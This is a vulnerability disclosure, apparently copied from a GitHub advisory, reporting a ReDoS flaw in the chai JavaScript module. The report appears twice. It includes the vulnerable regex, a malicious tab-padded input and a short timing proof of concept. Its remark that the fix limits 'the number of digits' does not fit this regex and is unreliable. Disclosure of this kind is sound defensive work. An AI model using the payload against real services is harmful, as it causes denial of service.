From https://github.com/chaijs/chai/security/advisories/GHSA-267j-fr6j-5v3g
Test Environment:
Apple M1 macbook air, 2020 (ventura 13.3.1)
node module
name : chai
node js
version : v18.16.0
2023_09_26
이동하 ( Lee Dong Ha of ZeroPointer Lab )
강성현 ( kang seonghyeun )
박성진 ( sungjin park )
김찬호 ( Chanho Kim )
이수영 ( Lee Su Young )
김민욱 ( MinUk Kim )
Team : For CVE
Subject : ReDoS_Vulnerability_Report_in_the_chai_Module_chai.js_2023-09-26 011535.268209.txt
Dear chai team,
I am writing to report a potential ReDoS (Regular Expression Denial of Service) vulnerability in your chai module. It has come to my attention that the current regex implementation for parsing values in the module is susceptible to excessive backtracking, leading to potential DoS attacks.The regex implementation in question is as follows:
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/
This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input:
'\t'.repeat(54773) + '\t/function/i'
Here is a simple PoC code to demonstrate the issue:
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;
const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");
Modification adds a limit to the number of digits, thereby preventing the ReDoS vulnerability from occurring.
I believe it is crucial to address this issue promptly to ensure the security of your module for all users. Please let me know if you need any further information or assistance with this matter.
https://www.npmjs.com/package/chai
From https://github.com/chaijs/chai/security/advisories/GHSA-267j-fr6j-5v3g
Test Environment:
Apple M1 macbook air, 2020 (ventura 13.3.1)
node module
name : chai
node js
version : v18.16.0
2023_09_26
이동하 ( Lee Dong Ha of ZeroPointer Lab )
강성현 ( kang seonghyeun )
박성진 ( sungjin park )
김찬호 ( Chanho Kim )
이수영 ( Lee Su Young )
김민욱 ( MinUk Kim )
Team : For CVE
Subject : ReDoS_Vulnerability_Report_in_the_chai_Module_chai.js_2023-09-26 011535.268209.txt
Dear chai team,
I am writing to report a potential ReDoS (Regular Expression Denial of Service) vulnerability in your chai module. It has come to my attention that the current regex implementation for parsing values in the module is susceptible to excessive backtracking, leading to potential DoS attacks.The regex implementation in question is as follows:
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/
This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input:
'\t'.repeat(54773) + '\t/function/i'
Here is a simple PoC code to demonstrate the issue:
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;
const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");
Modification adds a limit to the number of digits, thereby preventing the ReDoS vulnerability from occurring.
I believe it is crucial to address this issue promptly to ensure the security of your module for all users. Please let me know if you need any further information or assistance with this matter.
https://www.npmjs.com/package/chai